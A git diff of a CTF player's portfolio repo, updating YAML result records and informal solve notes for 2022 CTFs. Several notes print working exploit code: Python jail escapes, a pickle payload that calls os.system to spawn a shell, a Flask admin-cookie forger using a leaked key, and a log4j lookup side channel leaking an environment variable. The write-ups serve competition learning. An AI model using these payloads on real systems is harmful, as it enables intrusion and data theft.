diff --git a/ctfs/bsidessf22.yml b/ctfs/bsidessf22.yml index 5ca433b..87f39c7 100644 --- a/ctfs/bsidessf22.yml +++ b/ctfs/bsidessf22.yml @@ -1,77 +1,77 @@ #refer to hkcert21.yml for definitions name: "BSidesSF 2022 CTF" url: https://ctftime.org/event/1666 date: 2022-06-03 duration: 48 type: "Jeopardy" organizer: false rank: 4 full-clear: false team: "Maple Bacon" challenges: - name: "Codetalker" category: misc points: "?" solve-count: "?" solve-status: solved writeup-url: null first-blood: true - name: "Monstera" category: rev points: "?" solve-count: "?" solve-status: co-solved writeup-url: null - name: "Shorai" category: rev points: "?" solve-count: "?" - solve-status: co-solved + solve-status: solved writeup-url: null - name: "Loadit 1-3" category: rev points: "?" solve-count: "?" solve-status: solved writeup-url: null - name: "Shurdle 1-3" category: pwn points: "?" solve-count: "?" solve-status: solved writeup-url: null - name: "0x41414141" category: pwn points: "?" solve-count: "?" solve-status: solved writeup-url: null - name: "Arboretum" category: rev points: "?" solve-count: "?" solve-status: solved writeup-url: null - name: "Dual-type Multi-format" category: misc points: "?" solve-count: "?" solve-status: co-solved writeup-url: null - name: "Pwncaps 1-2" category: forensics, pwn points: "?" solve-count: "?" solve-status: solved writeup-url: null - name: "Loca" category: rev points: "?" solve-count: "?" solve-status: solved writeup-url: null \ No newline at end of file diff --git a/ctfs/comments/gdgalgiers22.md b/ctfs/comments/gdgalgiers22.md index 5e72fcf..6e9acd5 100644 --- a/ctfs/comments/gdgalgiers22.md +++ b/ctfs/comments/gdgalgiers22.md @@ -1,519 +1,519 @@ ### exorcist originally [@Ray](https://maplebacon.org/authors/Ray/) worked on it but he couldnt get pwntools working on his machine so he got me to run it but it doesnt work anyways and requires "bruteforcing" which i was like we should be able solve it with one req only and thats when i started getting interested in this chall and then we went on a huge detour trying to figure out why the length is always changing got so fed up that we went back home mid solving even tho this is a beginner chall lmfao eventually after clearing my mind by going home i did end up solving it after i used ord the right way lmfao unicode variable length moment using a really long message we can guarantee we get enough chunks to do a rotation key test based on the flag prefix and some guess work `CyberErudites{Y0u_kn0w_h0w_T0_XOR}` ```py from pwn import * io = remote()'crypto.chal.ctf.gdgalgiers.com', 1002) io.sendline(b"a"*60) io.recvuntil(b">> > ") cipher = io.recvuntil("\n").decode() print(cipher) output = [ord(i) for i in bytes.fromhex(cipher).decode('utf-8')] print(output) # print(bytes([o^v for o, v in zip(output, b"CyberErudites{")])) # output = cipher.encode() for i in range(len(output)): op = output[-i:] + output[:-i] print(len(op)) key = bytes([o^v for o, v in zip(op, b"CyberErudites{Y0u_kn0w_h0w_T"*10)])[:16] print(len(key)) x = bytes([o^v for o, v in zip(op, key*10)]) print(len(x)) print(i) print(x) ``` ### type it got stuck on validator and kevin higgs and py explorer and new chall came out so i tried solving this lmfao literally was just unbalanced parentheses like sqli `())(flag)#` gives `CyberErudites{wh0_N3Ed$_bR4CkeTS}` easily (`type(flag)(flag)` creates string copying the contents of flag and the # comments out the unbalanced parentheses) my original payload was `())((flag)` though - `type(())((flag))` gives a tuple created from iterating flag which we can easily convert back to the flag used this since its basically just brackets lmao ### type it 2 unbalanced parentheses is fixed now, so no more funny shennanigans most symbols are disallowed too so escape sequences arent easy to create worse is coz of this we have nothing more than the return type to go off of but hey in these cases why dont we side channel it like googlectf's log4j2? we cant use square brackets or basically most things outside of function calls so thats annoying but from poking around we can create tuples of ints after encoding the flag that have the `.count()` method and we can use the `or None` trick to leak whether the character exists at all but that means we'd have to play word unscramble lmao no thanks (and it turns out the flag has multiple same characters pretty frequently too sooo not enough information) tried to do character by character brute force by popping stuff, but tuples are immutable and creating dicts and lists are all banned eventually i realized i can obtain list types from `type.mro()`, which means we can create lists but appending it is still not really possible since theres no curried function that we can chain to add to a list and `,` is also banned but `+` aint banned so we can actually create multiple tuples/lists and then chain them together but now the question comes the constructors for list/tuples need to be iterables and we cant make iterables in the first place thats the headache here hold on we can make generators though if we skip all the spaces using brackets as delimiters and if we can make it return arbitrary values of our choice we can just use it turns out `((121)for(i)in(flag.encode())if(i)is(123))` is the prime way once we know which chars will only appear once (the curly brackets) now we can just use `startswith` after converting flag to bytes and building a bytes object using the list we created (has to be bytes coz we cant use chr or quotes at all) and ey we can side channel the flag consistently now by checking whether it returned bool or NoneType ```py from pwn import * import string p = remote("jail.chal.ctf.gdgalgiers.com", 1304) #p = process(['python3.10', 'jail.py']) chars = [] """ (flag.encode().startswith( type(flag.encode())( #bytes class type(type.mro(type))( #list class (type(())( #create tuple from generator ((67) for (i) in (flag.encode()) if (i) is (123))) #generator; 123 is {, which is likely guaranteed to only show up once; brackets help eliminate space use ) +(type(())( ((121) for (i) in (flag.encode()) if (i) is (123))) #the value assigned is for generating the characters ) ) ) )) or (None) #show visible hint on whether its true or false, since type only show class names so we need to change it on false """ flag = "CyberErudites{" payloadprefix = "(flag.encode().startswith(type(flag.encode())(type(type.mro(type))(" payloadsuffix = "))))or(None)" while "}" not in flag: for i in string.printable: check = "+".join(["(type(())(((" + str(ord(c)) + ")for(i)in(flag.encode())if(i)is(123))))" for c in flag + i]) p.recvuntil("Input : ") p.sendline(payloadprefix + check + payloadsuffix) p.recvuntil("") if b'bool' in resp: flag += i print(flag) ``` `CyberErudites{ERRRROR_B4$E3_FTW!!!!}` what bases based on what :upside_down: also i nearly popped a shell lol after realizing we can access globals with generator objects kekw `((i.exec(i.input()))for(i)in(((i)for(i)in((type(())(flag.encode())))).gi_frame.f_globals.values())if(not((type(i))is(type("test")))and(not((type(i))is(type(None)))and(not((type(i))is(type(type(None)))))and(not((type(i))is(type(((i)for(i)in((type(())(flag.encode())))).gi_frame.f_globals))))))).send(None)` works flawlessly since it filters out everything except the `__builtins__` module but alas it doesnt just filter internal functions but also everything with a underscore i forgot about that ### impossible challenge sure its "impossible" if you run it coz rand basically never clashes thrice in a row but the check is literally there lol and its an array with a simple xor key of `69` ~~haha nice~~ `CyberErudites{$eE_nOthING_I$_1mpo$$iBle}` shouldve left it for the new ppl in the team ngl or at least try to do it the fun way with patching and dynamic debugging lmao ```py v11 = [0]*40 v11[0] = 6; v11[1] = 60; v11[2] = 39; v11[3] = 32; v11[4] = 55; v11[5] = 0; v11[6] = 55; v11[7] = 48; v11[8] = 33; v11[9] = 44; v11[10] = 49; v11[11] = 32; v11[12] = 54; v11[13] = 62; v11[14] = 97; v11[15] = 32; v11[16] = 0; v11[17] = 26; v11[18] = 43; v11[19] = 10; v11[20] = 49; v11[21] = 45; v11[22] = 12; v11[23] = 11; v11[24] = 2; v11[25] = 26; v11[26] = 12; v11[27] = 97; v11[28] = 26; v11[29] = 116; v11[30] = 40; v11[31] = 53; v11[32] = 42; v11[33] = 97; v11[34] = 97; v11[35] = 44; v11[36] = 7; v11[37] = 41; v11[38] = 32; v11[39] = 56; print(bytes([69 ^ i for i in v11])) ``` ### venomous wondered for a bit what even is the privileged thing we gotta run coz theres no suid'd bins but then i saw `script.sh` is whitelisted in sudoers i then originally tried editing `echo.py` but it doesnt seem to work, and i eventually realized `script.sh` overwrites it later on `PYTHONINSPECT=1` also didnt work coz sudo clears env and `sitecustomize.py` doesnt work coz `ctf-cracked` does not have a home dir and global `site-packages` aint modifiable wanted to break the script so it sets our script to root rwx but that kinda doesnt matter coz we dont get elevated perms running root owned files anyway and the unicode bug got fixed wouldve been cool if it was related tho https://bugs.python.org/issue35883 after a while of poking turns out its just trick python into loading echo as a directory named `echo` with `__init__.py` instead of `echo.py` `CyberErudites{NothInG_L1K3_pOIs0n1nG_The_sn4Ke}` ### venomous 2 pretty sure the chall is broken coz i used the exact same payload as venomous 1 and got the flag lol the `find -maxdepth 1 -delete` command doesnt seem to be working well for some reason not complaining tho still a flag `CyberErudites{PTiv2BGsB13XBRZRKm5IrMyfXBkJcxBt}` i wonder if the intended solution is related to zip files ### validator originally other ppl worked on it and figured out you can do format string injection with SchemaError and our goal is to leak the secret and encode our own session cookie into it to access the `/flag` endpoint so it basically ended up being a pyjail and thats where i come into play got insanely stuck though coz i couldnt think of a way to get globals without being able to call funcs like `__subclasses__()` or assign values like `sys.stdout.flush = breakpoint` got some inspiration after poking at py explorer for a bit so i thought back to why some `__init__` has `__globals__` and i remembered something edward brought up if a class is custom made then its methods that is custom defined would have `__globals__` (what i understood is as long as its not a builtin method or a slot wrapper etc) then we have `__globals__` with that i tried seeing if MyDict's `__setattr__`/`__getattr__` has `__globals__` and bruh sure enough there it is we were literally there lmao i just distracted everyone by thinking of `__subclasses__()` but now the problem comes - if we provide an invalid field name to the schema the data being formatted is a string for some reason and if we give an invalid field type we get BOTH the MyDict object and the wrong field object and the wrong field object is always a python builtin data type which doesnt have `__globals__` so it errors out regardless after poking around a bit again i realized an empty MyDict `{}` triggers `SchemaMissingKeyException` and that literally just gives MyDict only eyyyyyy there we go `{0.__class__.__getattr__.__globals__[app].secret_key}` with `{}` and any field name + type yields us the secret key `3PmqjTIyNHJe3i5psDJNFAkwoJyUZTwy` which we can just grab some flask cookie encode script online like https://gist.github.com/aescalana/7e0bc39b95baa334074707f73bc64bfe and set isAdmin to true then visit `/flag` and we get the flag ey `CyberErudites{eV3n_PYTh0N_C4Nt_3$c4P3_fRoM_foRm4T_$Tring_buG$}` ```py import requests from flask.sessions import SecureCookieSessionInterface from itsdangerous import URLSafeTimedSerializer class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface): # Override method # Take secret_key instead of an instance of a Flask app def get_signing_serializer(self, secret_key): if not secret_key: return None signer_kwargs = dict( key_derivation=self.key_derivation, digest_method=self.digest_method ) return URLSafeTimedSerializer(secret_key, salt=self.salt, serializer=self.serializer, signer_kwargs=signer_kwargs) def decodeFlaskCookie(secret_key, cookieValue): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.loads(cookieValue) # Keep in mind that flask uses unicode strings for the # dictionary keys def encodeFlaskCookie(secret_key, cookieDict): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.dumps(cookieDict) secret_key = '3PmqjTIyNHJe3i5psDJNFAkwoJyUZTwy' print(requests.get('http://validator.chal.ctf.gdgalgiers.com/flag', cookies={'session':encodeFlaskCookie(secret_key, {'isAdmin':True})}).content) ``` ### garbage truck - literally no src and it just prints `empty garbage truck` for like most of the time - other times it say `No.no.no you will break my truck with that!!!` which i assume is the list of filter words lmao - the title says a lot of things about garbage so i was thinking gc which actually gives another message of sth like `you cannot get rid of the garbage like this` - after trying to map out whats banned i realized i can `breakpoint()` - which means i can literally escape to host now ey - but wtf i cant see flag anywhere i cant cat the chall.py file and the file its supposed to be running from as indicated by `__file__` aka `/home/ctf/chall.py` doesnt even exist -- i also cant do `sh` for soem reason i can only run commands from `os.system()` +- i also cant do `sh` for some reason i can only run commands from `os.system()` - pdb `ll` doesnt give src either so i tried to pdb step and figure out what the script is about - but aside from getting the banned wordlist regex `{'word': 'print|def|import|chr|map|os|system|builtin|exec|eval|subprocess|pty|popen|read|get_data|open|\\+'}` all i can get is that they seem to be running input, sanitize in a lambda, eval in a loop - tried mapping the memory of the python process but i cant access `/proc/pid/mem` for some reason - also i realized they were running busybox and ash after running `/proc/self/maps` so i can get a official shell now - then i went back to thinking about gc and turns out gc has a function `get_objects()` that can print out all of the objects its tracking in memory still - and lmao the flag is right there after we run `[o for o in gc.get_objects() if 'Cyber' in str(o)]` - `CyberErudites{cl34N1N9_7H3_94r8493_W17h_gC}` ### kevin higgs the revenge my angstrom payload almost works if you remove the frame opcode but setattr got banned lol so my persistence mechanism is no more sadge and i cannot for the life of me think of how to persist otherwise with the restraints so i gave up for a bit after the success of validator i set out to ~~right my wrongs~~ i mean to redeem myself by solving all 3 challs i was looking at at the maple bacon meeting so its time to come back to this chall i started out by clearing my mind off angstrom's mess of a solve script and tried to build the angstrom pickle from scratch using [@Robert](https://maplebacon.org/authors/Nneonneo/)'s helper funcs he sent while we were doing dice @ hope with MMM and wow in the meantime i really learnt a ton on how the pickle stack machine actually works so i tried to figure out whether theres opcodes like build that [@Robert](https://maplebacon.org/authors/Nneonneo/) mentioned back then too but no all of the opcodes that interact with python is banned aside from reduce and global/stackglobal but then while poking around i remembered i actually have one more layer of depth i can go for the setattr thing and i realized `empty.__dict__` exists so we just need a method to accept a value and we are gold update doesnt really work coz `DICT` opcode is banned but `setdefault` works well (turns out i used it in maplectf ubc/saplingctf too but i forgot lol) so with that we can just recreate the angstrom pickle this time in much more structured form that i actually understand well lmao adding the "bruteforcing index" script from dice @ hope to find `os.wrap_close`'s index we get the script ```py from pwn import * from pickle import * import struct def flatten(x, res=None): if res is None: res = bytearray() if isinstance(x, bytes): res += x elif isinstance(x, list) or isinstance(x, tuple): for r in x: flatten(r, res) else: print("WRONG TYPE FOR", x) return res def put(x): return [BINPUT, struct.pack(' obtained from STACK_GLOBAL) REDUCE, POP, #discard the returned object we dont need it #.__subclasses__() next('__subclasses__', args=[]), #.__getitem__(117) next('__getitem__', args=pint(index)), #.__init__ next('__init__'), #.__globals__ next('__globals__'), #.__getitem__('system') next('__getitem__', args=pstr('system')), #('sh') getglobal('empty.' + chr(attr)), #finally grab f (current attribute storing the object) and call it ptuple( pstr('cat flag.txt'), #seems like its running busybox again #nvm tty is dead cant use ash anyway b"ash: can't access tty; job control turned off\n" ), REDUCE, STOP] return flatten(p).hex() for i in [138]: #range(130, 140): #get around 134 and see if any looks like it got a shell s = remote('jail.chal.ctf.gdgalgiers.com', 1300) #s = process(['python3.10', 'challenge.py']) s.recvuntil('Enter') payload = pkl(i) print(payload) print(i) s.sendline(payload) #for some reason sh doesnt like interactive mode so gotta copy the payload and manually nc resp = s.recvall(timeout=1) if b'AttributeError' not in resp: s.interactive() else: s.close() ``` and with this we can easily get the flag (after getting confused on why the shell aint popping which turns out to be them using busybox just like garbage truck but also disabling tty this time lol) `CyberErudites{wOw_L3T$_CR0wn_THe_nEw_pIcKle_Ch4MP1On}` really happy now that i understand exactly how my solve for kevin higgs work lmaooo when i solved kevin higgs it was more of a trial and error until oh wow it works thing lmao ~~kinda like how i do dynamic analysis for rev challs tbh except i am reving my own script lmfao~~ ### PY explorer this chall had by far the least solves so i thought i prob wasnt on the right track when i thought about `sys.stdout.flush = breakpoint` and then realizing i cant find a func thats run either on exit or automatically periodically outside of sys which is not an imported module coz everything like `object.__del__` (cannot modify builtin methods) to ExitStack callbacks (doesnt call unless we set it on an object) to atexit (not imported) to even `weakrefs.finalize` which HAS atexit that works even though i need to put the func in the constructor with an object (eg `object.__subclasses__()[270](object, breakpoint)`) and it doesnt seem to pop up unless im in interactive and even then it only pops up randomly anyway (turns out i also cant do sth like `object.__subclasses__()[270]._registry.keys().__iter__().__next__()._exitfunc = breakpoint` either coz exitfunc is readonly) not to mention we need to access builtins functions to get breakpoint too (but theres a lot of funcs with `__globals__` in `__init__` it turns out) but after solving kevin higgs v2 it reminds me i can use `os.wrap_close` here still so i got `object.__subclasses__([137].__init__.__globals__['__builtins__'].__init__.__self__['breakpoint']` which is like 1/2 done (`__init__.__self__` is needed since PY explorer doesnt allow you to select from a dict twice in a row coz it has to be after choosing an attribute; i learnt that trick while investigating validator iirc) then after looking up some more writeups on pyjails i realized ppl are finding `system()` in `__globals__` not `__builtins__` which suddenly reminded me i swear i saw sys somewhere when i was getting the breakpoint func turns out `os.wrap_close` has both `sys` and `__builtins__` lmao bruh i completely forgot welp with selecting both object in the ui like this to do `object.__subclasses__()[134].__init__.__globals__['sys'].stdout.flush = object.__subclasses__([134].__init__.__globals__['__builtins__'].__init__.__self__['breakpoint']` we can get pdb running right after we finish selecting the objects even though we have to blindly type in coz stdout flush wont work anymore lol i thought it was broken until i typed `interact` and `*interactive*` popped out probably from stderr so i just `import os; os.system('sh')` to drop into a shell with working flush ey with that we can just `cat flag` and get the flag `CyberErudites{PY_0bj3cT7SS_AR3_MIN3}` i was on the right track all along lmaoo with that we've became jail bacon :sunglasses: full clearing is just that easy only took me like 19 hours yep \ No newline at end of file diff --git a/ctfs/comments/googlectf22.md b/ctfs/comments/googlectf22.md index da6184a..8362074 100644 --- a/ctfs/comments/googlectf22.md +++ b/ctfs/comments/googlectf22.md @@ -1,64 +1,86 @@ ### log4j2 building upon the log4j solution and some prelim investigation by other teammates, i set of reading a lot of documentation on lookups and pattern layout specifiers to see if anything is useful since they practically just slapped a filter on logs and stuff, i wondered what exactly they were checking and `/repeat` works like a charm on letting me test certain keywords that might hit the filter - it would say sensitive info whenever i hit a keyword i figured out its "ERROR", "WARNING", "Exception" and "CTF", but even these few words basically disabled us from using the same method as the old solution which was to break formatter to print exceptions `text=/[${date:yyyyMMdd.${env:FLAG}HHmmSS}]` - even if we can hide CTF using some transformers like `%replace` and `${lower:}`, we wont be able to hide the "ERROR" or "Exception" keywords since those are directly from the pattern parser (`%xEx` and `%throwable` both doesnt do anything) so i turned to trying to see if i can leak parts of the flag out but the only way i can tell is to hide details inside the stacktraces which are blocked but then i remembered the influxql chall from wectf that me and angus solved where angus found a way to side channel it and i see `%equals` being a thing in the specifiers so the only thing i need to do is to trigger a warning or an error only when my guessed flag matches - `%equals{${env:FLAG}}{}{}` however theres not really a good canadidate that throws a parser error only when run - `%d` like in the old solution always fail even if `%equals` is not matched but it fails twice if it matches, which is a good sign that there might be better specifiers out there - and indeed if i do `%C{}` i get a warning thats censored only if my guess equals - thus the payload is now `%equals{${env:FLAG}}{}{%C{a}}` but i have to find a way to guess character by character to save time - this is where `%maxLen` comes into play so i can get the first x chars only, and the payload becomes `%equals{%maxLen{${env:FLAG}}{}}{}{%C{a}}` with that we can write a script to leak the first 3 chars, and they are indeed `CTF` - but then i run into a problem of `{}` being special chars for lookups so i need to escape it somehow `%equals` doesnt look like it has a way to escape, so i had to introduce `%replace` as mentioned [here](https://stackoverflow.com/questions/57658504/escape-curly-braces-in-log4js-replacepatternregexsubstitution) with `/%equals{%replace{%maxLen{${env:FLAG}}{}}{[\{\}]}{=}}{}{%C{a}}`, we can finally leak the flag, which looks like lowercase letters - until it hangs at 21st character turns out `%maxLen` appends `...` if it exceeds 20 chars, and just padding the dots into the flag doesnt seem to fix anything, so i had to also replace the dots to equal signs just like the curly brackets and finally with `/%equals{%replace{%maxLen{${env:FLAG}}{}}{[\{\}.]}{=}}{}{%C{a}}` we can get the script that generates the flag: ```py import requests import string flag = 'CTF=' while True: for c in string.ascii_lowercase + '-=': #if c in '}{ ': #for string.printable since these instantly breaks parser # continue pad = '===' if len(flag)+1>20 else '' #thanks %maxLen for the weird behaviour payload = r"/%equals{%replace{%maxLen{${env:FLAG}}{" + str(len(flag)+1) + r"}}{[\{\}.]}{=}}{" + flag + c + pad + r"}{%C{a}}" print(payload) r = requests.post('https://log4j2-web.2022.ctfcompetition.com/', data={"text":payload}) print(r.content) if b'Sensitive' in r.content: flag += c print('current', flag) break if flag.endswith('===='): break ``` +and here's the breakdown of the payload: + +``` +%equals{ + %replace{ + %maxLen{ + ${env:FLAG} #retrieve original flag + }{ + 4 #flag length to check - must match the check length since theres no startWith in log4j so we have to truncate + } + }{ + [\{\}.] #find all { }s in flag, along with the elipsis + }{ + = #replace with placeholder - see flag to check for more info + } +}{ + CTF= #flag to check - note that = is in place of { since curly brackets escaping is not a thing in %equals it looks like +}{ + %C{a} #this triggers a warning only if it hits, aka it wont show WARNING if equals never matched - i originally used %d, but the format evaluates regardless whether it hit or not (hitting will show 2 warnings instead of 1 which doesnt help) +} +``` + `CTF{and-you-thought-it-was-over-didnt-you}` for some reason the ending bracket never got hit though, so the endswith clause never ran but hey flag is flag ey diff --git a/ctfs/comments/squarectf22.md b/ctfs/comments/squarectf22.md index ad9c1b8..15b87ab 100644 --- a/ctfs/comments/squarectf22.md +++ b/ctfs/comments/squarectf22.md @@ -1,179 +1,179 @@ ### yet another reversing activity imhex op -`flag.yarc` is basically a compiled yara rule, which https://bnbdr.github.io/posts/swisscheese/ actually details the format pretty well as apart of a vuln writeup - but too bad this version is very outdated and a lot of the things changed already +`flag.yarc` is basically a compiled yara rule, which https://bnbdr.github.io/posts/swisscheese/ actually details the format pretty well as a part of a vuln writeup - but too bad this version is very outdated and a lot of the things changed already so into yara's repo we go https://github.com/VirusTotal/yara/blob/666d5a4fd61df57d261d387676f7bd98544337a3/libyara/arena.c now since we dont have this current format laid out by ppl for us to understand we would have to basically map the parser type definitions to something that we can visualize and whats better than writing an hex pattern template turns out imhex is actually insanely flexible LOL i finally have a reason to drop 010 editor now ```c #define uint8_t u8 #define uint16_t u16 #define uint32_t u32 #define uint64_t u64 #define yr_arena_off_t u32 #include struct YR_ARENA_FILE_HEADER { char magic[4]; uint8_t version; uint8_t num_buffers; }; struct YR_ARENA_FILE_BUFFER { uint64_t offset; uint32_t size; char arena[size] @ offset; }; struct YR_ARENA_REF { uint32_t buffer_id; yr_arena_off_t offset; }; YR_ARENA_FILE_HEADER header @ 0x00; YR_ARENA_FILE_BUFFER buffers[header.num_buffers] @ 0x06; u32 size; for(u8 i = 0, i < header.num_buffers, i+=1) { size = size + sizeof(YR_ARENA_REF) + buffers[i].size; }; YR_ARENA_REF reloc[header.num_buffers] @ size; ``` while [@Arctic](https://maplebacon.org/authors/rctcwyvrn/) was busy updating the opcodes from https://github.com/bnbdr/swisscheese/blob/master/assembler.py i was doing what i do the best again: pattern identification none of the arenas seem to have anything special, aside from one that looks suspiciously orderly as if its a flag checker, which with some formatting we can lay it out like this: ```text 00 F0 3C 5F 3C 39 07 64 2F 0F 00 00 00 3C 01 F0 3C 33 3C 5F 07 64 01 2F 0F 00 00 00 3C 02 F0 3C F8 3C 99 07 64 01 2F 0F 00 00 00 3C 03 F0 3C 53 3C 34 07 64 01 2F 0F 00 00 00 3C 04 F0 3C F8 3C 83 07 64 01 2F 0F 00 00 00 3C 05 F0 3C 9A 3C F7 07 64 01 2F 0F 00 00 00 3C 06 F0 3C DD 3C EE 07 64 01 2F 0F 00 00 00 3C 07 F0 3C 5C 3C 6F 07 64 01 2F 0F 00 00 00 3C 08 F0 3C F9 3C 8D 07 64 01 2F 0F 00 00 00 3C 09 F0 3C F9 3C A6 07 64 01 2F 0F 00 00 00 3C 0A F0 3C C8 3C A5 07 64 01 2F 0F 00 00 00 3C 0B F0 3C 80 3C E5 07 64 01 2F 0F 00 00 00 3C 0C F0 3C 86 3C D9 07 64 01 2F 0F 00 00 00 3C 0D F0 3C 0D 3C 3C 07 64 01 2F 0F 00 00 00 3C 0E F0 3C 65 3C 0B 07 64 01 2F 0F 00 00 00 3C 0F F0 3C 77 3C 28 07 64 01 2F 0F 00 00 00 3C 10 F0 3C 8F 3C B8 07 64 01 2F 0F 00 00 00 3C 11 F0 3C 80 3C E8 07 64 01 2F 0F 00 00 00 3C 12 F0 3C AA 3C 99 07 64 01 2F 0F 00 00 00 3C 13 F0 3C 28 3C 77 07 64 01 2F 0F 00 00 00 3C 14 F0 3C 69 3C 08 07 64 01 2F 0F 00 00 00 3C 15 F0 3C 56 3C 24 07 64 01 2F 0F 00 00 00 3C 16 F0 3C A1 3C 92 07 64 01 2F 0F 00 00 00 3C 17 F0 3C 2A 3C 44 07 64 01 2F 0F 00 00 00 3C 18 F0 3C EC 3C D8 07 64 01 2F 0F 00 00 00 3C 19 F0 3C EA 3C 97 07 64 01 1D 00 00 00 00 00 00 00 00 FF ``` and we can see that basically aside from the first byte which is likely a counter, and the 2 bytes in the 2 rows after that byte would change, all other ones are basically static so i started reading the current opcode map to see what operation might be acting on those 2 specific bytes and aha `#define OP_BITWISE_XOR 7` so i tried it out and with ```py print(bytes([0x5F^0x39, 0x33^0x5F, 0xF8^0x99, 0x53^0x34, 0xF8^0x83, 0x9A^0xF7, 0xDD^0xEE, 0x5C^0x6F, 0xF9^0x8D, 0xF9^0xA6, 0xC8^0xA5, 0x80^0xE5, 0x86^0xD9, 0x0D^0x3C, 0x65^0x0B, 0x77^0x28, 0x8F^0xB8, 0x80^0xE8, 0xAA^0x99, 0x28^0x77, 0x69^0x08, 0x56^0x24, 0xA1^0x92, 0x2A^0x44, 0xEC^0xD8, 0xEA^0x97])) ``` i was correct and we get the flag `flag{m33t_me_1n_7h3_ar3n4}` lmaooo i love just recognizing patterns instead of reversing \ No newline at end of file diff --git a/ctfs/hkcert22.yml b/ctfs/hkcert22.yml index 69d8123..39b7b00 100644 --- a/ctfs/hkcert22.yml +++ b/ctfs/hkcert22.yml @@ -1,78 +1,78 @@ #refer to hkcert21.yml for definitions name: "HKCERT CTF 2022" url: https://ctftime.org/event/1722 date: 2022-11-11 duration: 48 type: "Jeopardy" organizer: false -rank: '
2nd
 (Open), 
3rd
 (Overall)' +rank: '2nd (Open), 3rd (Overall)' full-clear: false team: 'blackb4a' challenges: - name: "沙田大會堂 / Echo" category: pwn points: 100 (1★) solve-count: 20 solve-status: solved writeup-url: null - name: "香港大會堂 / Echo2" category: pwn points: 150 (2★) solve-count: 16 solve-status: solved writeup-url: null - name: "富榮花園 / C++harming website" category: rev points: 350 (4★) solve-count: 4 solve-status: solved writeup-url: https://hackmd.io/@despawningbone/BJzmTQ-Lo writeup-prize: true first-blood: true - name: "佐敦谷公園 / Clipboard" category: forensics points: 200 (3★) solve-count: 22 solve-status: solved writeup-url: null - name: "九龍灣綜合回收中心 / UAF" category: pwn points: 100 (1★) solve-count: 18 solve-status: solved writeup-url: null - name: "何東道 / Stop Peeping" category: forensics points: 125 (2★) solve-count: 21 solve-status: solved writeup-url: null - name: "濕地公園 / jumping-fish" category: rev points: 250 (3★) solve-count: 4 solve-status: solved writeup-url: null - name: "WEEE·PARK / UAF2" category: pwn - points: 200 + points: 200 (3★) solve-count: 10 solve-status: solved writeup-url: null - name: "城門緩跑徑 / Shellcode Runner 2" category: pwn - points: 300 + points: 300 (3★) solve-count: 14 solve-status: solved writeup-url: null - name: "中間道 / Middle Road" category: rev, crypto - points: 350 + points: 350 (4★) solve-count: 8 solve-status: co-solved writeup-url: null \ No newline at end of file diff --git a/ctfs/sapling22.yml b/ctfs/sapling22.yml index 5daa2dd..4bbb979 100644 --- a/ctfs/sapling22.yml +++ b/ctfs/sapling22.yml @@ -1,150 +1,150 @@ #refer to hkcert21.yml for definitions name: "SaplingCTF 2022 (MapleCTF UBC)" url: null date: 2022-01-21 duration: 168 type: "Jeopardy" organizer: false rank: 1 full-clear: false team: "N/A (friends)" challenges: - name: "plain" category: rev points: 50 solve-count: 37 solve-status: solved writeup-url: null - name: "keys" category: rev points: 50 solve-count: 16 solve-status: solved writeup-url: null first-blood: true - name: "wetuwn addwess" category: pwn points: 200 solve-count: 9 solve-status: solved writeup-url: null - name: "echowo" category: pwn - points: 200 + points: 75 solve-count: 18 solve-status: solved writeup-url: null - name: "memowy cowwuption" category: pwn points: 100 solve-count: 13 solve-status: solved writeup-url: null - name: "copilot my savior" category: crypto points: 50 solve-count: 24 solve-status: solved writeup-url: null - name: "encode me" category: misc points: 50 solve-count: 21 solve-status: solved writeup-url: null - name: "decode me" category: misc points: 50 solve-count: 18 solve-status: solved writeup-url: null - name: "one two three" category: crypto points: 200 solve-count: 4 solve-status: solved writeup-url: null - name: "pyjail" category: jail points: 150 solve-count: 22 solve-status: solved writeup-url: null - name: "pyjail 2" category: jail points: 400 solve-count: 12 solve-status: solved writeup-url: null - name: "hijacked" category: forensics points: 200 solve-count: 9 solve-status: solved writeup-url: null - name: "uwu intewpwetew" category: pwn points: 300 solve-count: 4 solve-status: solved writeup-url: null - name: "pyjail 3" category: jail points: 400 solve-count: 12 solve-status: solved writeup-url: null - name: "baby pwintf" category: pwn points: 100 solve-count: 8 solve-status: solved writeup-url: null - name: "3d" category: rev points: 300 solve-count: 3 solve-status: solved writeup-url: null first-blood: true - name: "spinning around" category: rev points: 300 solve-count: 3 solve-status: solved writeup-url: null - name: "pwintf" category: pwn points: 400 solve-count: 2 solve-status: solved writeup-url: null - name: "wetuwn owiented pwogwamming" category: pwn points: 250 solve-count: 4 solve-status: solved writeup-url: null - name: "whats up sys?" category: rev points: 100 solve-count: 6 solve-status: solved writeup-url: null - name: "Arista challenge" category: sponsors - points: 100 + points: 400 solve-count: 6 solve-status: solved writeup-url: null - name: "birbs" category: pwn points: 100 solve-count: 3 solve-status: unsolved writeup-url: null \ No newline at end of file diff --git a/ctfs/sdctf22.yml b/ctfs/sdctf22.yml index 189a959..40d8381 100644 --- a/ctfs/sdctf22.yml +++ b/ctfs/sdctf22.yml @@ -1,61 +1,61 @@ #refer to hkcert21.yml for definitions name: "San Diego CTF 2022" url: https://ctftime.org/event/1495 date: 2022-05-06 duration: 48 type: "Jeopardy" organizer: false rank: 3 full-clear: false team: "Maple Bacon" challenges: - name: "SymCalc.py" category: jail points: 220 solve-count: 27 - solve-status: co-solved + solve-status: solved writeup-url: null first-blood: true - name: "Bit flipping machine" category: rev points: 110/130 solve-count: 32/12 solve-status: solved writeup-url: null first-blood: true - name: "Flag Hoarder" category: forensics points: 250 solve-count: 16 solve-status: solved writeup-url: null - name: "Turing-complete safeeval" category: jail points: 110 solve-count: 27 solve-status: solved writeup-url: null - name: "Rbash Warmup" category: jail points: 150 solve-count: 80 solve-status: solved writeup-url: null - name: "magic^3" category: rev points: 450 solve-count: 9 solve-status: co-solved writeup-url: https://maplebacon.org/2022/05/sdctf-magic3/ writeup-prize: true - name: "Internprise Encryption" category: rev points: 200 solve-count: 48 solve-status: sniped writeup-url: null \ No newline at end of file diff --git a/special.yml b/special.yml index 50d3a0c..d50a8c6 100644 --- a/special.yml +++ b/special.yml @@ -1,29 +1,29 @@ #list of special events that's worth mentioning on the timeline separately from a ctf; #new years will be automatically inserted with basically the following properties: #new-year: # style: "timeline-year" # content: {year} # date: {year}-01-01 joined-mb: #name is not used for parsing, just something that we can read #css class; has to be already defined in main.css style: "timeline-join" #got 